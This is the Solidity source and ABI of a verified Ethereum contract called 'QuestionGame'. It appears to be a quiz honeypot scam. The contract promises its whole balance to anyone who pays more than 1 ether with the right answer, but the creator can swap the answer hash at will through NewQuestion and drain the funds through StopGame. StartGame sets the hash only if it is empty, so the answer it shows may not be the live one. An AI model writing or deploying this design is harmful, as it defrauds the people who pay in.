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/**
 *Submitted for verification at Etherscan.io on 2018-07-26
*/

pragma solidity ^0.4.17;

contract QuestionGame
{
    string public question;
    address questionSender;
    bytes32 responseHash;
 
    function Answer(string _response) public payable {
        if (responseHash == keccak256(_response) && msg.value>1 ether) {
            msg.sender.transfer(this.balance);
        }
    }
 
    function StartGame(string _question,string _response) public payable {
        if (responseHash==0x0) {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }

    function StopGame() public payable {
        if (msg.sender==questionSender) {
            msg.sender.transfer(this.balance);
        }
    }

    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if (msg.sender==questionSender) {
            question = _question;
            responseHash = _responseHash;
        }
    }

    function () public payable { }
}

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[{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"StartGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Answer","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

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